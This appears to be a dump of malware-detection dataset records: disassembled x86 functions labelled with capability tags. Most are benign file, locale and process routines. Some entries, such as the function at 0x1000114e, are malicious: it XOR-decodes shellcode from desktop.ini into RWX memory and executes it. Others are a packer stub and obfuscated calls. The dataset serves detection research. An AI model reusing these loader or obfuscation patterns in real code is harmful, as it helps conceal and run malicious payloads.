joyce8/EMBER2024-capa huggingface dataset:
Function at 0x57b9d9
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [eax + 0xc]
nop
shr eax, 3
test al, 1
je 0x57b9f3
mov al, 1
leave
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov eax, dword [eax + 0xc]
nop
test al, 0xc0
mov eax, dword [ebp + 8]
je 0x57ba0a
mov ecx, dword [eax]
cmp ecx, dword [eax + 4]
je 0x57ba62
mov eax, dword [eax + 0x10]
nop
push eax
call fcn.00570c77
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x57ba62
xor ebx, ebx
lea eax, [ebp - 0x10]
inc ebx
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 8], xmm0
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x57ba62
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x57ba62
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jne 0x57ba5c
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x57ba5e
xor bl, bl
mov al, bl
jmp 0x57ba64
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x57c05b
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x5ee000]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x57c0a6
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0057c1f4
test al, al
jne 0x57c0a0
sub edx, 2
cmp edx, edi
jne 0x57c086
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x57c0c8
lea eax, [edi + 2]
cmp edx, eax
je 0x57c0c8
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0057bfa7
add esp, 0x10
jmp 0x57c1c0
push esi
lea ecx, [ebp - 0x255]
call fcn.0057c1f4
sub edx, edi
xor ecx, ecx
sar edx, 1
inc edx
test al, al
lea eax, [ebp - 0x254]
cmovne ecx, edx
xor ebx, ebx
push ebx
push ebx
push ebx
push eax
push ebx
push edi
mov dword [ebp - 0x260], ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x57c109
push dword [ebp - 0x25c]
jmp 0x57c0b8
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x57c146
cmp word [ebp - 0x226], 0
je 0x57c167
cmp word [ebp - 0x226], ax
jne 0x57c146
cmp word [ebp - 0x224], 0
je 0x57c167
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0057bfa7
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x57c1b3
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x57c120
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x57c19b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x57c1c0
push 0x57bdd7
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00582f90
add esp, 0x10
jmp 0x57c190
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055ab65
leave
ret

Function at 0x57cc79
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x57cc8a
pop esi
ret
push ebx
push edi
push esi
call fcn.0057cc42
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00575a80
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x57ccb2
push ebx
push esi
push edi
call fcn.0055e780
add esp, 0xc
push 0
call fcn.00575910
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x57d081
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0057ccc7
Function at 0x57f0ca
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00575791
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x57f139
cmp esi, dword [ebp - 4]
je 0x57f134
cmp dword [ebp + 0xc], 0
je 0x57f134
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x57f111
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0057ec1f
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x57f13b
xor eax, eax
inc eax
jmp 0x57f13b
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x57f1a6
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x5ee000]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00575791
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00575791
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x57f21d
cmp word [ecx], dx
je 0x57f21d
mov eax, dword [0x5c9c44]
push edi
dec eax
push eax
push 0x5c9b30
call fcn.0057f13f
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x57f290
cmp word [eax], dx
je 0x57f290
mov eax, dword [edi]
test eax, eax
je 0x57f241
cmp word [eax], dx
je 0x57f241
lea eax, [ebp - 0x10]
push eax
call fcn.0057eb25
jmp 0x57f24a
lea eax, [ebp - 0x10]
push eax
call fcn.0057ebc0
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x57f2ba
mov eax, dword [0x5c9b2c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x5c9820
call fcn.0057f13f
add esp, 0xc
test al, al
je 0x57f2ba
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x57f285
cmp word [eax], di
je 0x57f285
lea eax, [ebp - 0x10]
push eax
call fcn.0057eb25
pop ecx
jmp 0x57f2bc
lea eax, [ebp - 0x10]
push eax
call fcn.0057ebc0
jmp 0x57f282
mov eax, dword [edi]
test eax, eax
je 0x57f2a7
cmp word [eax], dx
je 0x57f2a7
lea eax, [ebp - 0x10]
push eax
call fcn.0057eada
pop ecx
jmp 0x57f2ba
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x57f385
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0057efc4
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x57f385
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x57f385
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x57f385
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x57f312
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.00577688
test ebx, ebx
je 0x57f380
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.00577688
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x57f385
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x57f385
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00568489
add esp, 0x10
xor eax, eax
inc eax
jmp 0x57f387
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055ab65
leave
ret
Function at 0x584250
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x58427d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x58427d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x99768c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x9976b3
call fcn.00939c18
mov dword [eax], esi
call fcn.00939c05
push 0x16
pop esi
mov dword [eax], esi
call fcn.0093a85a
mov eax, esi
jmp 0x997708
test dword [ebp + 0xc], 0xfffffff9
jne 0x997699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9976e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00939c2b
pop ecx
call fcn.00939c05
mov eax, dword [eax]
jmp 0x997708
test al, 0x10
jne 0x997706
test al, 1
je 0x997706
test byte [ebp + 0xc], 2
je 0x997706
call fcn.00939c18
mov dword [eax], 5
call fcn.00939c05
mov dword [eax], 0xd
jmp 0x9976d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40a366
Capabilities:
Accept command line arguments

Disassembly:
push ecx
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
mov ecx, ebx
push ecx
sub esp, 4
mov eax, esp
mov dword [eax], edx
mov eax, esi
push eax
mov ebx, edi
sub esp, 4
mov dword [esp], ebx
mov edx, 0x32c9d0df
sub edx, 0x45
push edx
xor edx, edx
or edx, 0xe65b9d3
shr edx, 3
mov esi, 0x18c52d1
sub edx, esi
call edx
mov ecx, esp
dec ecx
mov eax, dword [ecx + 1]
mov ebx, 4
add esp, ebx
mov eax, 0x5ab16603
shr eax, 1
add eax, 0xd2a74ce7
sub esp, eax
push esp
pop edx
mov edi, dword [edx - 0x18]
mov eax, esp
xchg ebx, eax
mov esi, dword [ebx - 0x14]
mov eax, esp
dec eax
mov ecx, dword [eax - 0xf]
push ecx
pop edx
push esp
pop eax
dec eax
mov ebx, dword [eax - 0xb]
mov ecx, esp
mov eax, dword [ecx - 8]
mov ecx, dword [esp - 4]
jmp fcn.00407020

Function at 0x401750
Capabilities:
Encode data using xor

Disassembly:
jns 0x4017a1
in al, dx
mov eax, dword [ebp + 8]
mov edx, dword [ecx + ebp + 0x504e4010]
add ecx, 0x40
push 0xe240d274
push ss
adc eax, sym.imp.MSVCRT.dll_fprintf
mov eax, dword [0xf302ac]
mov edx, 0xc0850cc4
je 0x401787
push eax
dec esi
push esp
rol byte [eax + 0x41], cl
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
push ds
add edi, edi
adc eax, sym.imp.MSVCRT.dll_exit
invalid
dec esp
inc eax
outsb dx, byte [esi]
add byte [esp + edx + 0x68], dh
add al, 0xb6
cmc
add byte [eax + ebp*8], ah
sahf
or al, byte [eax]
add byte [esi - 0x75], ah
or eax, 0x660274
jg 0x4017cf
mov edx, dword [0x792100]
push edx
push eax
call fcn.00405842
pop bp
or eax, 0x6541178f
mov dword [0x8be708], eax
mov eax, dword [0xf9410288]
push ebx
push esi
mov edx, ecx
rol dword fs:[eax], 0xbd
mov ebp, edx
mov ah, 0xb
inc ecx
cld
test eax, eax
push edi
and eax, 0x158b5d
sbb byte [ecx], al
push edx
xchg esp, eax
cwde
aam 0x40
enter 0x6ff, 0x4b
push esi
sub edi, dword [esi + 0x8c48300]
test eax, eax
je 0x40181c
mov eax, dword [0x74410274]
push eax
push 0x24413c40
push 0x4a2584
call esi
add esp, 0xc
mov eax, dword [0x43d014]
lahf
sar byte [eax + 0x233080], 0x75
add eax, 0x40567cb8
add byte [eax + 0x68], dl
insb byte es:[edi], dx
leave
adc ebp, ebx
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x14193439
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x5dbf67fb
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x404b00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1460
call fcn.0051ec70
mov eax, dword [0x577830]
xor eax, esp
mov dword [esp + 0x145c], eax
push esi
push edi
push 0x59cb08
lea eax, [esp + 0xa3c]
call fcn.00401470
lea eax, [esp + 0xc]
push eax
call fcn.0043bb40
add esp, 4
push eax
lea edi, [esp + 0x14]
call fcn.004012e0
lea edi, [esp + 0xc]
call fcn.00401070
mov eax, dword [esp + 0x1050]
test eax, eax
mov dword [esp + 0xc], eax
je 0x404b72
movzx ecx, byte [eax]
cmp ecx, 0x80
jae 0x404b72
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esp + 0x1258]
test eax, eax
je 0x404b82
add eax, 4
jmp 0x404b84
xor eax, eax
push eax
lea edx, [esp + 0x10]
push edx
call fcn.00449dd0
mov eax, dword [esp + 0xc]
test eax, eax
je 0x404b9c
lea ecx, [eax + 4]
jmp 0x404b9e
xor ecx, ecx
lea esi, [esp + 0x10]
call fcn.0045cfd0
lea edi, [esp + 0xc]
call fcn.00401070
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404bbd
lea esi, [eax + 4]
jmp 0x404bbf
xor esi, esi
push esi
call dword [0x59e000]
cmp eax, 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
je 0x404be4
test al, 1
je 0x404be6
and eax, 0xfffffffe
push eax
push esi
call dword [0x59e058]
test eax, eax
jne 0x404be6
call edi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404bf3
lea ecx, [eax + 4]
jmp 0x404bf5
xor ecx, ecx
mov eax, dword [0x59cb08]
test eax, eax
je 0x404c03
add eax, 4
jmp 0x404c05
xor eax, eax
push 0
push ecx
push eax
call dword [0x59e014]
test eax, eax
jne 0x404c59
call edi
call fcn.0043a7a0
test eax, eax
je 0x404c59
push str.CDGo::cantcopy
mov eax, str.Unable_to_copy_Picasa_CD
call fcn.0043e110
mov eax, dword [eax]
add esp, 4
test eax, eax
je 0x404c49
add eax, 4
push eax
xor eax, eax
call fcn.0042b500
add esp, 4
jmp 0x404cf6
xor eax, eax
push eax
call fcn.0042b500
add esp, 4
jmp 0x404cf6
mov eax, dword [esp + 0xc40]
test eax, eax
mov dword [esp + 0xc], 0
je 0x404c9a
lea edx, [eax + 4]
test edx, edx
je 0x404c9a
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x404c78
sub eax, esi
push edx
lea edi, [esp + 0x10]
call fcn.0044a090
mov eax, dword [esp + 0xc]
test eax, eax
je 0x404c9a
lea ecx, [eax + 4]
jmp 0x404c9c
xor ecx, ecx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404ca9
add eax, 4
jmp 0x404cab
xor eax, eax
push 1
push 0
push ecx
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
ja 0x404ced
push str.CDGo::cantlaunch
mov eax, str.Unable_to_open_Picasa_CD
call fcn.0043e110
mov eax, dword [eax]
add esp, 4
test eax, eax
je 0x404ce0
add eax, 4
jmp 0x404ce2
xor eax, eax
push eax
xor eax, eax
call fcn.0042b500
add esp, 4
lea edi, [esp + 0xc]
call fcn.00401070
lea ecx, [esp + 0x10]
call fcn.00401a30
lea ecx, [esp + 0xa38]
call fcn.00401a30
mov ecx, dword [esp + 0x1464]
pop edi
pop esi
xor ecx, esp
call fcn.005120db
mov esp, ebp
pop ebp
ret
Function at 0x405240
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x3c
push 0x3c
lea eax, [esp + 4]
push 0
push eax
call fcn.005185b0
mov ecx, dword [esp + 0x4c]
add esp, 0xc
lea edx, [esp]
push edx
mov dword [esp + 4], 0x3c
mov dword [esp + 0x10], str.open
mov dword [esp + 0x20], 5
mov dword [esp + 0x14], ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
neg eax
sbb eax, eax
neg eax
sub eax, 1
add esp, 0x3c
ret 4
Function at 0x407180
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa60
mov eax, dword [0x577830]
xor eax, esp
mov dword [esp + 0xa5c], eax
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
push edi
mov edi, dword [ebp + 8]
je 0x407203
cmp byte [esi], 0
je 0x407203
push str.PicasaCDGOEject
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x4071cd
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x59d5d0], 0x80000000
jbe 0x4071e4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
call fcn.0043c790
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0xa5c]
xor ecx, esp
call fcn.005120db
mov esp, ebp
pop ebp
ret 0x10
push str.PicasaCDGO
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x407274
push str.PicasaCDGO
push str.ytWindow
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov esi, eax
test esi, esi
je 0x40739b
push esi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x407255
push 9
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0xa5c]
xor ecx, esp
call fcn.005120db
mov esp, ebp
pop ebp
ret 0x10
push 0x2c
lea eax, [esp + 0x10]
push 0
push eax
call fcn.005185b0
lea ecx, [esp + 0x18]
add esp, 0xc
push ecx
mov dword [esp + 0x10], edi
mov byte [esp + 0x39], 0
mov byte [esp + 0x3a], 0
mov dword [esp + 0x14], 0xffffff3f
mov dword [esp + 0x24], str.SOFTWAREGooglePicasa_
mov dword [esp + 0x28], str.Picasa2
mov dword [esp + 0x20], str.GooglePicasa2
mov dword [esp + 0x30], str.Preferences
mov dword [esp + 0x34], str.AppLocalDataPath
call fcn.00429680
add esp, 4
lea ecx, [esp + 0x38]
call fcn.00401190
lea edx, [esp + 0x38]
push 0
push edx
call fcn.0042bc80
add esp, 8
lea esi, [esp + 0x38]
call fcn.0042f8f0
mov ecx, esi
call fcn.00401a30
lea eax, [esp + 0xc]
push eax
call fcn.00429880
add esp, 4
push 4
call fcn.00511d1c
add esp, 4
test eax, eax
je 0x40731b
mov dword [eax], vtable.CrashReporterFactory.0
jmp 0x40731d
xor eax, eax
push eax
call fcn.00461d70
add esp, 4
cmp dword [0x58acd4], 0
jne 0x407334
call fcn.0043dfb0
call fcn.004092c0
call fcn.0040a6e0
call fcn.0043b510
call fcn.0044dda0
call fcn.00406b10
cmp byte [0x59e12c], 0
jne 0x40737a
mov esi, dword [0x59b584]
test esi, esi
mov edi, esi
je 0x407370
call fcn.00461c80
push edi
call fcn.00511cfe
add esp, 4
mov dword [0x59b584], 0
lea ecx, [esp + 0xc]
push ecx
call fcn.0042aa60
mov edx, dword [esp + 0xc]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea edi, [esp + 0x18]
call fcn.00401070
mov ecx, dword [esp + 0xa64]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.005120db
mov esp, ebp
pop ebp
ret 0x10
Function at 0x412640
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push str.Picasa3
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
cmp eax, esi
mov dword [esp + 0x14], eax
jne 0x412671
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebx + 4]
cmp eax, esi
mov dword [esp + 0xc], esi
je 0x412690
lea ecx, [eax + 4]
cmp ecx, esi
je 0x412690
cmp eax, esi
je 0x41268c
lea edi, [eax + 4]
jmp 0x412695
xor edi, edi
jmp 0x412695
mov edi, 0x543bb1
mov eax, dword [ebx + 0x24]
cmp eax, esi
je 0x4126ac
lea ecx, [eax + 4]
cmp ecx, esi
je 0x4126ac
cmp eax, esi
je 0x4126b1
lea esi, [eax + 4]
jmp 0x4126b1
mov esi, 0x543bb1
push str.CrashReporter::ErrorLog1
mov eax, str._s_has_crashed.__A_crash_dump_has_been_generated:__s_n
call fcn.0043e110
mov eax, dword [eax]
add esp, 4
test eax, eax
je 0x4126ce
add eax, 4
jmp 0x4126d0
xor eax, eax
push edi
push esi
push eax
lea esi, [esp + 0x18]
call fcn.00401180
mov eax, dword [ebx + 0x28]
add esp, 0xc
test eax, eax
je 0x41273f
test dword [eax], 0xffffff00
je 0x41273f
cmp byte [eax + 4], 0
je 0x41273f
test eax, eax
je 0x41270c
lea ecx, [eax + 4]
test ecx, ecx
je 0x41270c
test eax, eax
je 0x412708
lea esi, [eax + 4]
jmp 0x412711
xor esi, esi
jmp 0x412711
mov esi, 0x543bb1
push str.CrashReporter::ErrorLog2
mov eax, str.Crash_ID___s.
call fcn.0043e110
mov eax, dword [eax]
add esp, 4
test eax, eax
je 0x41272e
add eax, 4
jmp 0x412730
xor eax, eax
push esi
push eax
lea eax, [esp + 0x14]
push eax
call fcn.00413360
add esp, 0xc
lea eax, [esp + 0xc]
call fcn.00449d40
mov eax, dword [esp + 0xc]
test eax, eax
je 0x412759
add eax, 4
mov dword [esp + 0x10], eax
jmp 0x412761
mov dword [esp + 0x10], 0
mov esi, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
push 1
push 0
push 0xc0000001
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
lea edi, [esp + 0xc]
call fcn.00401070
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x41e070
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1a54
call fcn.0051ec70
mov eax, dword [0x577830]
xor eax, esp
mov dword [esp + 0x1a50], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
test eax, eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
je 0x41e0a2
lea edi, [eax + 4]
jmp 0x41e0a4
xor edi, edi
lea esi, [esp + 0x18]
mov dword [esp + 0x18], 0
call fcn.0046f710
push edi
mov eax, esi
push eax
call fcn.0046f7f0
lea eax, [esp + 0x158]
mov dword [esp + 0x10], 0
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x41e0d0
lea ecx, [esp + 0x158]
sub eax, edx
push ecx
lea edi, [esp + 0x14]
call fcn.0044a090
mov eax, dword [esp + 0x10]
test eax, eax
je 0x41e188
test dword [eax], 0xffffff00
je 0x41e188
add eax, 4
cmp byte [eax], 0
je 0x41e188
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x41e188
cmp word [eax + 8], 2
jne 0x41e188
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x41e188
cmp word [eax + 0xa], 4
jne 0x41e188
mov ecx, dword [ecx]
test ecx, ecx
je 0x41e188
mov edx, dword [eax]
movzx eax, byte [ecx + 3]
push edx
movzx edx, byte [ecx + 2]
push eax
movzx eax, byte [ecx + 1]
movzx ecx, byte [ecx]
push edx
push eax
push ecx
push str._d._d._d._d___s_
lea esi, [esp + 0x2c]
mov dword [esp + 0x2c], 0
call fcn.00401180
mov eax, dword [esp + 0x2c]
add esp, 0x18
test eax, eax
mov dword [ebx], eax
je 0x41e17d
movzx edx, byte [eax]
cmp edx, 0x80
jae 0x41e17d
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea edi, [esp + 0x14]
call fcn.00401070
jmp 0x41e19c
push 0x543bb1
xor eax, eax
mov edi, ebx
mov dword [ebx], 0
call fcn.0044a090
lea edi, [esp + 0x10]
call fcn.00401070
lea edi, [esp + 0x18]
call fcn.00401070
mov ecx, dword [esp + 0x1a5c]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.005120db
mov esp, ebp
pop ebp
ret